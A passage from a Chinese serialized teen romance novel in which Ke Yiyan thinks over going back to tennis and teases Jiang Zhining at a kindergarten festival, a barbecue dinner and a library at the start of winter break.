柯译衍脸上露出几分无奈神情，叹了声：“外公” 外公乐呵呵摆了摆手，理解表示：“没事没事，我懂的！你不好意思说，那我就不多问了，你们年轻人的事啊，我们老一辈能不插手就不插手。” 话音落下，下一秒，外公又忍不住八卦问：“是不是你同学啊？一个班的？小姑娘长什么模样？手机里有照片吗？别藏着掖着，快给我看看。” 刚不是说不问了吗？ 柯译衍一脸无语。 老人家脸上笑开了花，早已看穿一切，毕竟这都是他年轻时玩剩下的小儿科。 想当年，他为了追求心仪女生，创作灵感大爆发，也干过类似的事，给女生写曲、弹琴、唱歌音乐人的追求招数很浪漫，花样特多。 外公好心情答应下来：“可以啊，这事不着急吧？” “不着急。”柯译衍摇头说。 外公故意调侃笑道：“那就好，为了我们译衍，这首钢琴曲我可得好好琢磨一番。” 柯译衍：“” 这时，房间门突然由外打开，柯绍之走进来。 “爸，妈有事找你。” “找我？”老人脸色转瞬严肃起来，皱眉担心问，“你妈找我干什么？她气消没消啊？不会继续拿我撒气吧？” 柯绍之失笑：“我哪知道。” “你不会提前问问啊，有你这么做事的？想坑我是吧！” 柯绍之一脸无奈：“我问了，妈训我少管闲事，我能怎么办？” “你最好别骗我，否则我等会儿回来骂你。” 老人不情愿起身，嘀嘀咕咕出去了。 房门重新关上，柯绍之姿态放松坐到柯译衍身旁。 男人慢悠悠品了口茶，侧目看向柯译衍，随口说：“在陪外公聊天？” 柯译衍低头翻阅老人家的琴谱，嗯了声。 柯绍之笑了笑，开门见山说：“前两天，宁宁特意找上我，询问你的事。” 柯译衍愣了下，合拢琴谱：“姜织宁？” 男人点头：“就前天晚上，她问了年初你在墨尔本发生的事。” 柯译衍：“您全都说了？” “那当然。”男人淡定补充一句，“毕竟她姑姑也在现场。” “”柯译衍被冠冕堂皇的借口无语到，他又不傻，当即面无表情戳穿男人，“舅舅这是在借花献佛吧。” 男人装无辜，摊手表示：“乱讲，宁宁都特意找上门问了，我能怎么办？况且她姑姑很凶，我要是不说，那姜总能放我走吗？我可没偏心啊，这不就来告诉你了？” “我会信吗？”柯译衍不领情。 男人胳膊肘朝外拐，喝了口茶，慢悠悠说：“爱信不信。” 柯译衍：“” 除了俞杨，她还特意找到舅舅了解他的过去。 不得不说，他挺惊讶姜织宁会这么做，到不是惊讶她大胆直接的行事作风，而是诧异她对他的关心居然到了这个份上。 但也没太意外，柯译衍哼笑一声，自言自语说了句：“难怪。” 男人问：“什么难怪？” 他把琴谱放到一边，简洁说：“昨天晚上，姜织宁突然问我以后还打不打网球，让我再考虑下。 ” “是吗？”男人耐人寻味地说，“看来她很关心你。” 柯译衍勾唇笑了笑。 男人将茶杯放到桌上，好奇问：“你怎么回答的？” 柯译衍平静说：“没回。” 没回，意思是没答应，也没拒绝，那么不算好事，也不算坏事。 柯绍之双手搁到腿上，指尖交握，引导问：“是在考虑么？” 柯译衍眼睑微微垂下，没说话，沉默注视着不远处的钢琴凳。 “译衍，舅舅想问问你，十月初的那场校网球联赛，是因为什么原因让你愿意报名参赛？”男人轻巧换了个话题，“说实话，我和你妈妈得知这个消息后都非常意外，你已经很久没有参加网球比赛了。” 柯译衍淡声说：“俞杨手伤，我替补。” 柯绍之眉峰微扬：“是吗？就因为这个？” 柯译衍不咸不淡说：“也因为姜织宁吧，她让我体验校园活动，想了想，觉得没毛病，换成其他比赛，没准我也会参加。” 柯绍之无声叹了口气。 因为这个人，因为那个人，就是嘴硬不提自己，如果他不是柯译衍的舅舅，他都要被少年给忽悠过去了。 他看着柯译衍长大，知道外甥从小性格独立，任何事情，如果不是外甥自己心甘情愿，那就没有人能够左右他。 想当初，柯译衍亲口说出放弃网球，并不是闹着玩的。 他说到做到，回国后，运动装备全部丢进仓库吃灰，拒绝参加任何比赛，网球话题变成禁聊雷区，直接斩断和网球有关的一切，他转头就把全部心思放到学习上，是真的打算回归学业。 柯绍之认为，柯译衍之所以愿意参加校网球联赛，除了周围声音影响，那份真正心甘情愿的背后，极大概率是被少年刻意忽视不见，埋藏于心底最深处的那一丝不甘心。 柯绍之温声说：“译衍，舅舅知道你从Peter去世之后经历了很多困难，长辈之间的过往矛盾和你没关系，也不该由你来承担，你不要给自己这么大压力，要多为自己考虑。” “不为了任何人，就为了你自己，以你的立场好好想一想，有些事情，是不是心甘情愿放弃？有没有一丝丝不甘心？好好考虑下，该翻篇的翻篇，人生只有一次，要为自己而活，别留下遗憾。” 一摸一样，舅舅说的话和姜织宁昨晚说的话，都在向他传达同一个意思。 沉默数秒，柯译衍冷静嗯了声：“我会考虑。” 元旦过后，寒假即将来临。 临近期末，班里人都把重心放在了期末大考上，这次期末考试是几所重点高中统一组织的联考，因此分数和排名尤为重要。 除了忙着复习，周末的时候，姜织宁忙里偷闲，抽空陪周静瑶去了趟周家开的幼儿园。 按照往年惯例，幼儿园在放寒假之前会举办一场亲子游园会活动，下午趣味游园，晚上则是各班小朋友准备的迎新晚会。 虽然是自己家开的幼儿园，但周静瑶并不是去享乐，而是去干活。 鉴于女儿平常总在家里狂言以后要做导演，还时不时自吹摄影技术多么厉害，周妈妈便趁这次游园活动，把周静瑶喊去现场充当摄影师助理。 周静瑶不喜欢小屁孩，和亲妈讨价还价一番酬劳后，才傲娇答应。 两人吃过午饭，刚走进幼儿园大门，就听到几位闹矛盾小朋友撕心裂肺的哭声，周静瑶瞬间屏住呼吸，手按人中，狂翻白眼，开始心绞痛了。 小朋友好动，配合度低，动不动就哭，特别难哄，所以照片很不好拍，一下午，周静瑶崩溃跟着外请的摄影团队，忙得像一头村里面到处打转的驴。 姜织宁就很舒服了，原本周妈妈不让她帮忙，后面又担心她干坐着无聊，便偏心给她分了个无比轻松的盖章工作。 姜织宁笑眯眯坐在小板凳上，全程只需要动动手，往家长拿过来的小卡片上盖章就行。 游园会结束时，周静瑶一屁股瘫痪在椅子上，脑袋无力靠着姜织宁肩膀，浑身只剩下嘴皮子骂骂咧咧的虚弱力气。 生无可恋休息了会儿，周静瑶黑脸拿起手机，怒发朋友圈，控诉她今天有多悲惨！零花钱有多难赚！ 总之，今天的活让她后悔得不行。 片刻，周静瑶放下手机，有气无力问：“晚上结束去吃夜宵吗，俞杨请客。” “嗯？怎么就突然请客了？”姜织宁好奇问。 周静瑶：“我刚才不是发朋友圈吐槽吗，俞杨看到就和我聊了几句，他和衍神几个人正好在附近球馆打球，说可以一起顺路吃夜宵。” 姜织宁没意见，点了点头：“我都行。” “行，那我回他了啊。” 晚饭过后，天色骤暗，缠绕在大树上的金色灯带全部点亮，迎新晚会开始，周静瑶任命拿起相机，跑到舞台附近忙去了。 小朋友们身穿五颜六色的表演服，跳起舞来特别可爱，姜织宁坐到角落位置欣赏表演，时不时姨母笑。 忽然间，旁边空位落下一道黑色修长人影，她下意识扭头望去，是柯译衍。 “你们打球结束了？” 柯译衍懒散敞开腿坐下，把路上专门买的热饮递给姜织宁，顺势打量了下四周环境，不解问：“怎么跑幼儿园来了？” 姜织宁接过饮料，笑着解释：“周导过来赚零花钱，我陪她过来，俞杨呢？他没来？” 他说：“他们先去烧烤店。” 姜织宁哦了声，闲聊道：“我听俞杨说，期末考试结束后他就要飞去美国冬训了。” 柯译衍：“差不多。” “那他过年回来么？”她好奇问。 他摇头：“不回来，他最近要换教练，估计得在美国呆到开学才回来。” 她状似不经意地问：“哦，那你会去吗？” 他说：“应该不去。” “应该？” 姜织宁愣了下，敏锐抓住重点，扬唇笑起来。 柯译衍双手散漫环至胸前，后靠向椅背，听见笑声，他偏头看过来，瞧出她笑容里有几分调侃，也勾唇笑了笑，慢条斯理表示：“不是你叫我考虑一下吗，现在还说不准的事，只能加上应该了。” 姜织宁立马哎了声，撇清关系说：“跨年夜那晚我只是提个小建议，没让你非得干嘛干嘛，你说的，人生本就有很多种可能性，不管什么事，最后做决定的还是你自己，我可没那么重要。” “有啊。”柯译衍慢悠悠拖着嗓子回了句。 姜织宁：“什么有啊？” “怎么就不重要了？”他注视着她，漆黑眼眸蕴含着笑意，直白说，“我觉得你很重要。” 姜织宁：“” 柯译衍不忘搬出她原话，闲闲表示：“你份量重，你比较特别，这话不是你亲口对我说的吗，上次忘了讲，好巧，我也觉得你这位朋友份量重，比较特别。” 姜织宁：“” 他自顾自地说：“没想到你这么关心我，直接跑去舅舅面前打听我，怎么讲呢，挺感动的，对了，你可能不知道，我这人有个很大的优点，就是特别听劝。” 啊？ 是是吗？ 姜织宁纳闷心想，她怎么记得周围人都说柯译衍性格独立，没人能够左右他，没听到有人夸他特别听劝哎。 柯译衍：“放心吧，网球的事，我会认真考虑。” 道理是这么个道理，听着没毛病，但姜织宁总感觉哪里有点不对劲，她琢磨不出来，狐疑问：“我怎么觉得你话里有话？” “哪有这么复杂，就是字面意思啊。”柯译衍唇角微挑，语气带着几分不着调，玩味笑说，“有人要为我撑伞，嗯，感动。” 姜织宁：“” 她瞪他：“你最好没骗我。” “冤枉。”柯译衍挑眉笑起来，无辜喊冤，“我什么时候骗过你？” 姜织宁正要开口，衣袖突然被人轻轻扯了下。 她顺势扭头望去，是个身穿黄色小鸭玩偶服，小名叫甜甜的小姑娘，姜织宁记得她，下午盖章的时候，甜甜经常跑过来找她玩。 “宁宁姐姐，气球飞到树上去了。” 甜甜不高兴撅嘴，抬手指向旁边缠绕着金色灯带的高耸大树。 姜织宁随之看去，树梢处挂了个粉色的甜甜圈气球，气球是幼儿园统一发的，每个小朋友都有。 三人走到树下，姜织宁仰头眼估了下气球的高度，随后尝试着伸手跳起来，结果够不着。 她扭头对柯译衍说：“你跳起来试试看，你的身高应该可以，不行的话只能找梯子。” 柯译衍干脆拒绝：“跳不了。” “啊？” 他一本正经胡扯：“这不是刚打完球吗，没力气。” “”姜织宁无语看着他，“连跳一下的力气都没有？” 他不要脸嗯了声，淡定逗她说：“腿痛。” 这下姜织宁彻底没话讲了，毕竟年初那会儿他的腿受伤过，难道是后遗症犯了？ 她垂眸瞄了眼他的腿，语气放缓，蹙眉关心说：“那要不要去医院看看？有贴膏药吗？” “贴了。”柯译衍神色镇定表示，“医院不至于，休息就行。” “你别硬撑。” “嗯，放心，听劝。” “我去找个梯子吧。”姜织宁弯下腰，叮嘱眼巴巴望着气球的小姑娘，“甜甜别乱跑，和哥哥在这里等一下哦。” 甜甜乖巧点头。 姜织宁作势转身要走，柯译衍眼疾手快拉住她，“找什么梯子，麻烦。” “不找梯子怎么拿气球？我又够不到。”她目光困惑。 他抬眸扫了眼气球，视线对上她眼睛，从容说：“气球位置不算高，我抱你上去，应该能拿到。” “”姜织宁陷入沉默，无语了好一会儿，再度扫了眼柯译衍的腿，抬眸盯着他，怀疑质问：“柯译衍，你真的腿痛吗？” 以她对柯译衍的了解，并不认为他会做出装病这种幼稚事，但是，他突然蹦出抱她上去的建议实在太离谱，让她不得不心生怀疑。 “嗯，真的痛。”柯译衍轻咳了声，“不过放心，抱你用不到腿。” 姜织宁面无表情：“哦，那你现在截肢。” “”他无奈叹了声，“这么无情啊宁王，还能做朋友吗？” “是你说用不到腿啊。” 柯译衍勾唇，悠悠说：“想什么呢？我的意思是，站着就能抱你，用不着跳起来，跳跃才对腿有影响。” 姜织宁没说话，默默分析可信度。 这时，甜甜拉了下姜织宁的手，笑嘻嘻问她：“宁宁姐姐，你没有玩过举高高？” 举高高？ 这是什么东西？ 姜织宁迷茫摇头。 姐姐居然没玩过举高高！ 这也太惨了吧！ 她都玩过很多次了！ 甜甜吃惊睁大眼，小手指着柯译衍，大声强烈推荐：“宁宁姐姐，你让哥哥给你举高高嘛，举高高可好玩了！！！爸爸经常抱我坐在肩膀上，超级超级好玩的！姐姐你试试看嘛！！！” 姜织宁：“” 柯译衍实在忍不住，被姜织宁的尴尬脸色逗得笑出声，一边抱臂坏笑，一边催促：“快点啊，人小妹妹等着呢，等会儿气球被风吹走了怎么办？” “”姜织宁斜眼瞪他，没好气嘲道，“你举抱得动吗？！” 柯译衍不可思议挑了挑眉，十分惊讶她的质疑，随即鼻腔哼出一声浅笑，意味深长反问：“你觉得呢？” 姜织宁没吭声。 她那就是气话，不用问都知道，练体育的人，体能绝对没得说。 姜织宁抬头瞄了眼气球，妥协走到柯译衍身前，正准备抬手放到他肩上，就见他忽然曲膝蹲了下去。 她滞了秒，一脸茫然垂眼。 目光所及之处，少年的黑发蓬松柔软，鼻梁英挺，像位英俊骑士般俯首单膝跪在她面前。 一瞬间，她心跳猛然加速，眼神显而易见地慌乱起来。 这这是在干嘛？ 罕见的，一向从容自若的姜织宁变得手足无措。 她浑身僵硬站在原地，完全不知道该怎么办才好，她缓慢深呼吸，嗓音发紧地问：“你蹲下去干嘛？” 手臂懒洋洋搭在膝盖上，柯译衍抬眼，下巴微扬，目光交汇，姜织宁怔怔望着他，一点点沦陷在那双漾动着亮光的漆黑眼眸里。 她的心脏，在混乱的跳动频率中悄然变成裹满五彩跳跳糖的棉花糖，无比柔软，酥酥麻麻。 柯译衍仰视着姜织宁，不着调回了句：“不蹲下去怎么举高高？” “” 有完没完？ 姜织宁瞬间回过神来，气得去拽他头发。 柯译衍右手撑地，迅速偏头躲了下。 “哎，怎么还想扯我头发？宁王这么暴力吗？”他散漫歪着脑袋，笑望着她。 姜织宁深呼吸，不客气翻了个白眼：“你要是皮痒就直说，你没力气没事，我挺有力气的。” 柯译衍见好就收，勾唇指挥：“好了啊，坐我肩膀上，手放到另一边，抓稳，别怕，我会拖住你的膝盖慢慢起身。” 她依言照做，小心翼翼低头朝他左肩坐下去，但是不太敢用力。 少女身体紧绷，身体悬空虚浮，整个人的姿势要坐不坐的，肩膀上没传来多少重力，柯译衍立马感觉到了。 这样很不安全，他没法站起来。 他轻拍了拍姜织宁膝盖，温柔哄道：“别紧张，身体放轻松，别绷着，放心坐下来，没关系的，我会慢慢起身。” 姜织宁嗯了声，配合调整坐姿，右手顺势搭到他脖颈上。 少女的手纤细柔软，就这么突然贴到脖子上，瞬间传来一道细腻温热的柔软触感。 皮肤像是过了电，迅速泛起阵阵敏感麻意，柯译衍耳根倏地泛红，发热，喉咙紧得不行。 他无力垂下头，浑身不自在极了。 见柯译衍迟迟不站起来，姜织宁以为自己没坐好，立马低头看他，有些紧张地问：“怎么了？是不是我没坐好？” 服了。 柯译衍败给身体反应，深深叹了口气，慢吞吞说：“你别” “啊？” “手别放我脖子上，有点” “有点冷是吗？”姜织宁误会打断他，迅速抬起右手，谨慎询问，“那放哪里合适？” “衣领吧” “好。” 耐心等她手放好，柯译衍稳稳当当抱住姜织宁双腿，轻松起身，姜织宁被他抱着，都不用抬高手，粉色气球就在她眼前，触手可及。 气球被树枝卡着，她伸手拨弄了下，牵过气球绳子，握紧，与此同时，身体悬空的时候，心也随之浮了起来。 这一刻，她的心脏，在属于柯译衍的那片浩瀚海域中摇摆不定。 指尖下意识攥紧他的衣领，姜织宁不受自控，思绪翩跹游离起来。 不是因为害怕。 而是，她脑子里忽然莫名其妙联想到一个和友谊毫不相关，甚至直接越线的危险形容词—— 男友力。 男友力的具像化表现，在此时此刻，在柯译衍身上体现得淋漓尽致。 姜织宁从没谈过恋爱，对她来说，这是种很新鲜，很奇妙的感觉。 让她第一次感受到男友力的人，是柯译衍。 以及对他毫不犹豫的依赖感、信任感、安全感 不止今晚一次，在他身上感受到。 柯译衍轻松抱着姜织宁，看她拿到气球后，也没催促，一副心甘情愿，让她好好体验一把举高高滋味的大方态度。 姜织宁牵着气球，走了会儿神，后知后觉反应过来自己没落地。 她垂头，茫然问：“你怎么不放我下来？” 柯译衍仰头看她，一脸无辜：“你没说。” “这还用说吗？我不是已经拿到气球了？” 他笑了笑，理所当然表示：“当然要说，万一你气球没拿稳，中途飞走怎么办？” “” 姜织宁无声张了张唇，好有道理，无法反驳。 他又逗她说：“看宁王没指示，我也不敢乱动啊，还以为你在上面欣赏风景呢，海拔高，空气视野就是不一样。” “” 什么欣赏风景，她明明是因为他走神了好吗！ 这个罪魁祸首！ 姜织宁强忍住揪他头发的冲动，深呼吸，迫使自己冷静下来，硬邦邦说：“准备好了，放我下来，谢谢。” 柯译衍勾唇嗯了声，慢慢蹲下。 双脚安全落地，姜织宁弯腰把气球递给甜甜，小姑娘喜笑颜开接过，这会儿也不关心气球了，一个劲追着姜织宁问：“宁宁姐姐，举高高好不好玩？我没骗你吧，好不好玩，开不开心嘛？” “” 姜织宁下意识看向柯译衍。 柯译衍笑得不行，不仅很过分的看她笑话，还故意坏心眼问道：“怎么样啊宁王，好玩么？没玩够可以再来。” “” 她能怎么说？ 小姑娘追着她不放，为了不破坏童心，姜织宁只能干巴巴回一句：“好玩。” 第83章 那我做你一分钟女朋友 等周静瑶结束黑心工作后, 三人打车去烧烤店。 烧烤店生意很好，俞杨他们赶到时店里座位早已爆满，等了一会儿才蹲到包厢空出来。 柯译衍站街边打完电话, 阔步走进店里，俞杨正好点完餐回来, 两人在楼梯口撞上，俞杨拿肩膀轻撞他一下, 抬手指着后厨说：“去厨房看看海鲜？” “不去。” 柯译衍干脆拒绝，上楼, 推开包厢门, 目不斜视坐到姜织宁左手边空位。 俞杨后脚进门, 看见这一幕，立马鄙视斜了眼柯译衍, 无语心说，没眼看, 瞧他那猴急样，宁王身边的位子又没人和他抢！ 周静瑶今天累坏了, 饭也没吃饱，这会儿饿得两眼直冒金星, 拼命翻看菜单。 见状, 俞杨提醒她和姜织宁, 说除了看菜单, 也可以去楼下厨房现点，有些时令菜和隐藏款不会写在菜单上。 经常来吃饭的老饕们都喜欢去厨房点单, 尤其是海鲜, 这家烧烤店的海鲜最出名，因为食材特别新鲜。 “啊, 是吗？”周静瑶立马放下菜单，“厨房在哪呢？这家店还挺大啊。” 一名男生站起来，热情说：“我带你去吧，正好要去洗手间。” 周静瑶扭头看姜织宁：“你要不要去？” 姜织宁摇头，她不太饿，只拿手机点了份艇仔粥和烤黄油面包。 两人下楼，俞杨扭头看向正和姜织宁聊天的柯译衍，又问一遍：“你真不去啊？你不是每次都要去厨房现点吗？” “说了不去。”柯译衍散漫靠着椅背，一动不动。 俞杨嘶了声，纳闷说：“你咋了？打球累着了？” 姜织宁插嘴：“他腿痛。” “腿痛？”他愣了下，茫然看着柯译衍，“什么时候？我怎么不知道你腿痛？” 姜织宁一听这话，准备看手机的视线中途拐了个弯，挪到柯译衍脸上。 柯译衍：“” 沉默三秒，他心情不爽斜睨俞杨，没好气道：“还能什么时候，打球的时候啊。” 俞杨：“” 脑子里灵光一闪，他忽然福至心灵懂了。 放屁！死装！ 这狗东西绝对在装痛！ 柯译衍今天在球场上分明打得很来劲！ 那个暴/力挥拍啊，砰砰砰的！差点没把他给抽死！ 他和吴瑞奇输得特别难看！ 姜织宁疑惑盯着两人，俞杨回过味来，冷笑两声，阴阳怪气配合说：“没错，是我忘记了，衍神确实腿痛，腿快要断掉那种痛！” 柯译衍：“” 夸张了夸张了，倒也不必这么说。 姜织宁当真了，不由蹙眉：“你还是去医院看看吧，可别留下后遗症。” 柯译衍面不改色：“别听俞杨胡扯，他就喜欢夸张，讲话没个度。” “真没事？” “没事，放心。” 被嫌弃的俞杨一脸问号。 哦，配合你演戏你还嫌弃上了？！ 呵呵，狗东西！ 这时，手机响起来，姑姑打来的，姜织宁起身出门接电话。 趁此机会，俞杨凑到柯译衍耳边，低声敲打他：“你能不能收敛点？” 柯译衍：“收敛什么？” “收敛你的感情！”俞杨恨铁不成钢地说，“你那个视线啊，都快黏在宁王身上撕不下来了！能不能低调点啊你？” “为什么要低调？”柯译衍目光困惑。 俞杨：“我真是服了你！大庭广众，行为举止这么明显，你想干什么啊？生怕别人看不出你喜欢宁王是吧？坐你对面那短发女生是赵煦女朋友，和咱们同校，高三的，你刚没听说吗，这学姐和蔡从一个班！！！” “所以？”柯译衍轻飘飘反问。 俞杨狂翻白眼，都快无语到家了。 “所以什么所以？人学姐和蔡从关系不错，那你猜她知不知道蔡从和宁王什么关系？我的哥哎，学姐暗中观察你老半天了，都给我紧张死了！” “有什么关系，看呗。”柯译衍勾唇哼笑，一副无所谓态度。 “你卧槽！你发什么神经啊？？？”俞杨被他吓到了，急急说，“我和你说啊，女生第六感很敏锐的，万一被学姐看出点什么来，你猜她会不会捅到蔡从那里去？” “叫我别搞事，呵呵，自己倒是明目张胆什么意思啊你？打算横刀夺爱？！还是为爱做三？！你个丧心病狂，天理难容的家伙！你给我把话说清楚！” 余光注意到姜织宁要进来了，他连忙加快语速：“你你你你清醒点，千万别发疯啊！我心脏不好，就你这么一个好兄弟，你给我先想清楚网球的事，再发神经！” 俞杨是真的害怕柯译衍突然不干人事，他非常清楚柯译衍的行事作风，这酷哥一旦下定决心，绝对说到做到，没人能够左右。 韩辰那句话说得挺对，这人啊，确实容易在心烦意乱的时候做出刺激出格的疯事！ 哦，明白了，柯译衍恍然大悟，原来俞杨是在担心这个。 也不怪俞杨误会，因为，他没对俞杨透露姜织宁和蔡从之间的真实关系。 是故意这么做的。 一方面，姜织宁明确让他保密，说想清净到毕业，俞杨这张大嘴巴，没准知道真相后，就会不小心传的到处都是。 另一方面，出于他个人原因，故意不说。 就姜织宁找俞杨了解他过去那事，谁让俞杨胳膊肘朝外拐，藏着掖着，死也不和他说？有他这么做朋友的吗？ 人周静瑶多懂事，第一时间就和姜织宁说了。 既然如此，他也不说，就让俞杨自个儿戏精抓耳挠腮去吧。 柯译衍没说话，懒洋洋换了个坐姿，意味不明地笑了笑。 “笑什么笑？”俞杨严肃警告，“你这笑容看着很危险，给我收起来！” 柯译衍：“少管闲事。” “我就管，你是我好兄弟我能不管？冷静，冷静点啊，年轻人不要这么冲动，你这样的，要是实在克制不住感情，我和你换个座位怎么样？”俞杨作势起身，“来来来。” “滚开。”柯译衍冷脸骂了句，“少犯病。” …… 上课、复习、大小考试 时间飞快，高二上学期一晃而过。 放假前夕，各科课代表陆续下发寒假作业，班主任站在讲台上，老生常谈，叮嘱假期注意事项。 明天就开始放寒假，班级好多人坐不住，蠢蠢欲动，心思早已飞向远方。 “不要玩得疯过头，一定要注意安全！行吧，祝同学们假期愉快，年后见！” 刘彬话音落下瞬间，底下立马响起此起彼伏的欢呼声。 “wow！放假咯！！！” “终于放假啦！！！” “放假了放假了！朋友们我先走为敬！” “寒假愉快，各位拜拜，明年见啦！” 很多人早就收拾好书包，只待刘彬一声令下，立马起身蹿向门外。 瞬间功夫，班里空了大半。 姜织宁不紧不慢收拾着书包，柯译衍旁观片刻，问：“今天晚上就回去？” 她点头嗯了声：“先回家整理东西，晚饭后姑姑开车过来接我。” 柯译衍想起赵阿姨今天不在家，拿起手机说：“赵姨不在，晚上想吃什么，我点外卖。” “好了，走吧。”姜织宁拎起书包，朝教室外走去，“都行吧，上次那家粤菜还蛮好吃的。” 柯译衍勾唇：“到底是都行，还是想吃粤菜？” 姜织宁笑看他一眼：“粤菜。” 他一边点外卖，一边问：“放假有什么打算？” 姜织宁想了想，说：“可能会和姑姑出门旅游，其余时间应该都呆在本市，哦对了，我和朱恬约好放假一起去市图书馆写作业，市图是不是离你家挺近的？” 假期时间长，柯译衍不住舅舅家，回市中心自己家住。 他嗯了声：“不远。” 姜织宁：“你今晚回自己家吗？” 柯译衍：“明天走，不着急。” 回到家，姜织宁利索收拾着要带走的物品。 东西不多，很快就收拾好，她拉上行李箱拉链，同一时间，柯译衍的电话打过来，让她过去吃晚饭。 去卫生间洗干净手，打开大门，看到对面大门开着，她笑起来，脚步轻快走过去。 吃完晚饭，姜织宁坐着没走，和柯译衍有一句没一句地闲聊，聊电影，聊音乐，直到姑姑上门接人，她才起身和他告别。 这个点已经过了晚高峰，汽车开在马路上畅通无阻。 车子减速开进小区，停在家门口，爷爷奶奶笑眯眯出来接人，姜织宁拎出行李箱，和两位老人寒暄着进门。 进门后，行李箱先放旁边，姜织宁抱起猫咪，舒舒服服躺到客厅沙发上，这一刻，她终于有了放假的实感。 放假归放假，姜织宁依然保持着早睡早起的作息，生活充实，空闲时间并不多，除了学习和出去玩，她大部分时间都呆在音暴舞蹈房。 年末了，音暴内部组织了好几场演出活动，与此同时，外界递给音暴的合作格外多，所以姜织宁有时会跟随舞团外出商演，挺有意思的体验。 正因为假期时间宽裕，朱恬来音暴上课的频率大幅提高。 两少女经常在舞房巧遇，朱恬自从敞开心扉后，不仅社恐性格改善许多，舞技也进步不小，现在她已经能独自跳完一支成品舞，特别棒。 这天晚上，街舞课下课，两人一起去楼下便利店买零食。 朱恬挑了个酸奶和一杯关东煮，关东煮的汤汁有点多，她怕洒出来，双手小心翼翼端着纸杯。 姜织宁耐心等在收银台这边，等朱恬走过来放下后，她朝服务员递出手机：“一起。” “哎，不用不用！”朱恬手忙脚乱去包里拿手机，“我自己付就好啦！” 姜织宁笑道：“没事，你今天不是给我带了阿姨做的南瓜面包吗，面包很好吃。” 朱恬动作没姜织宁快，等她找出手机时，姜织宁已经利索付完款，她只好作罢。 两人拿起东西，挑了张桌子坐下。 朱恬：“宁王，你觉得我妈妈做的面包很好吃？” 姜织宁边拧开气泡水，边点头嗯了声。 朱恬笑起来：“发现了，你挺喜欢吃甜食。” “没错，嗜甜爱好者一枚。” “那我明天下午再给你带，我妈妈明天要做焦糖蛋挞。” “焦糖蛋挞？”姜织宁眼睛亮了亮，笑眯眯说，“我喜欢！对了，我们明天几点去图书馆刷题？” “要不吃过午饭后，一点半行吗？” “可以，我和周导说下。” 隔天中午，姜织宁在家吃过午饭，准时出门。 市图书馆人来人往，馆内气氛静谧，朱恬最早到，特意占了个窗边位置。 窗边阳光充沛，午后暖阳晒得人很舒服，但也有美中不足的地方，坐久了特别容易犯困。 周围太安静了，只有刷刷书写声，书本翻阅声，非常适合睡觉的环境。 甜甜的奶茶和焦糖蛋挞刚入肚不久，糖分摄入量严重超标，导致此刻困意源源不断，直冲大脑。 姜织宁放下笔，揉了揉眼睛，抬眼看向对面。 好家伙，周静瑶已经趴桌上睡着了，睡得还挺香，她翘起唇角，凑近打量周静瑶大大咧咧的睡姿。 睡姿实在太搞笑，姜织宁忍不住拿起手机拍照，朱恬听到动静，侧目看过来，四目交汇，她偷笑眨了眨眼，朱恬掩唇轻笑。 精神有点萎靡，但又不想睡觉，拍好照，姜织宁和朱恬打了声去借书的招呼，随后悄悄起身，走向对面借阅区。 按照指示，姜织宁慢悠悠经过排排书架，最后停留于外国文学区域。 想借的书被归类在书架最顶层，垫脚也够不着，她搬了个垫脚凳过来，脚踩到上面，伸手抽出一本诗集翻阅。 “站在上面干吗？” 身后忽然传来熟悉的声音，不用猜就知道是谁。 姜织宁目光顿了顿，双手合上书，不由自主翘起唇角，眉眼弯弯转身。 果然是柯译衍，就站在她身后，散漫抱臂靠着书架，勾唇注视着她。 柯译衍早就发现姜织宁了，本想等她拿好书再喊她，结果她就这么站在凳子上看了起来，很专注，连他走过来都没有注意到。 垫脚凳有四个轮子，滑动款，他怕姜织宁不小心摔倒，干脆站到她身后盯了会儿。 阳光明媚，穿透窗户照进来，倾泻柯译衍半身，姜织宁暗暗打量他一眼。 今天气温挺高，他穿了身灰色系运动装，从头到脚利落有型，盛气蓬勃，少年感格外浓烈，确实是位赏心悦目，回头率极高，叫人克制不住心动的大帅哥。 姜织宁收起打量，正准备开口，窗外突然吹进来一阵微风，白色纱帘轻盈扬起，一只鹅黄色的早春蝴蝶穿越光晕，振翅飞向两人之间。 交汇视线同时落向这位意外来客。 蝴蝶不怕人，调皮栖息在姜织宁发尾上，她微微睁大眼，屏住呼吸，一动不敢动，柯译衍被她这副模样逗得无声笑起来。 停留了几秒，蝴蝶翩翩飞走了。 姜织宁松了口气，抬眸看向柯译衍，轻声说：“来借书？” “来偶遇。”柯译衍勾唇说。 “啊？” 他懒散举了下手里的书：“顺便来还书。” 姜织宁瞄了眼色彩斑斓的封面，纳闷问：“你借儿童绘本干嘛？” 他解释：“亲戚家小孩的。” “哦。”她会意点头。 柯译衍：“不下来么？” “干嘛？”姜织宁误以为他要用垫脚凳，抬手指向旁边，“你要用脚凳？那边还有。” 他愣了下，摆出一副败给她的无奈表情：“想什么呢，怕你摔倒才叫你下来。” 姜织宁：“怎么可能。” 柯译衍挑眉：“怎么不可能，没看见下面是滑动的？之前是谁摔进医院？” “又不是我主动摔的。”她无语翻了个白眼，“垫脚凳又不高，我是脆皮吗？哪有这么金贵。” 柯译衍哼笑一声，慢悠悠说：“嗯，你不是。” 她刚想说这还差不多，下一秒，就听他慢条斯理补了句：“你是宝贝。” 姜织宁：“？” 宝贝？ 柯译衍最近怎么总是话里有话啊？ “什么意思？”她不动声色问。 柯译衍唇角微挑，玩味说：“都叫宁宝了，不就是宝贝？” 姜织宁：“” 刚才还觉得微妙的称呼，瞬间因为柯译衍的离谱解释而变得无语。 他又开始不着调了。 还有，他这是在嘲笑她的小名吧？ 绝对是！ 想想也是，她在学校里是威武霸气的宁王，在家里却是软萌宁宝，这反差感，确实挺搞笑的。 福至心灵，脑子里突然闪过一个可疑猜测，姜织宁走下垫脚凳，堵到柯译衍面前，平静质问：“柯译衍，你给我微信备注的什么？” 柯译衍怔了下，还没想好怎么回答，就见她皮笑肉不笑地说：“不会是宁宝吧？” 姜织宁目光犀利，压迫气场十足，一副只要他点个头，她就拿书打死他的恐吓态度。 沉默三秒，柯译衍忍不住心说一句运气真好，扬眉道：“好主意，回去就改。” 姜织宁：“” 姜织宁面无表情抬手，拿书打了下柯译衍手臂。 “手机拿来。” “给我看下备注。” 柯译衍强忍笑意，一言不发，抬脚就走。 “手机拿来听见没？” “别逼我骂你啊！” 姜织宁凶巴巴说着，立马跟上柯译衍，她较劲扯住他衣袖不放，死活要看一眼她的微信备注到底是什么。 居然敢嘲笑她？ 如果备注真是宁宝的话，柯译衍今天绝对死定了！ 非让他改成宁王不可！ 图书馆氛围安静，姜织宁不敢大声说话闹出动静，只能身体紧挨着柯译衍，用气音骂骂咧咧。 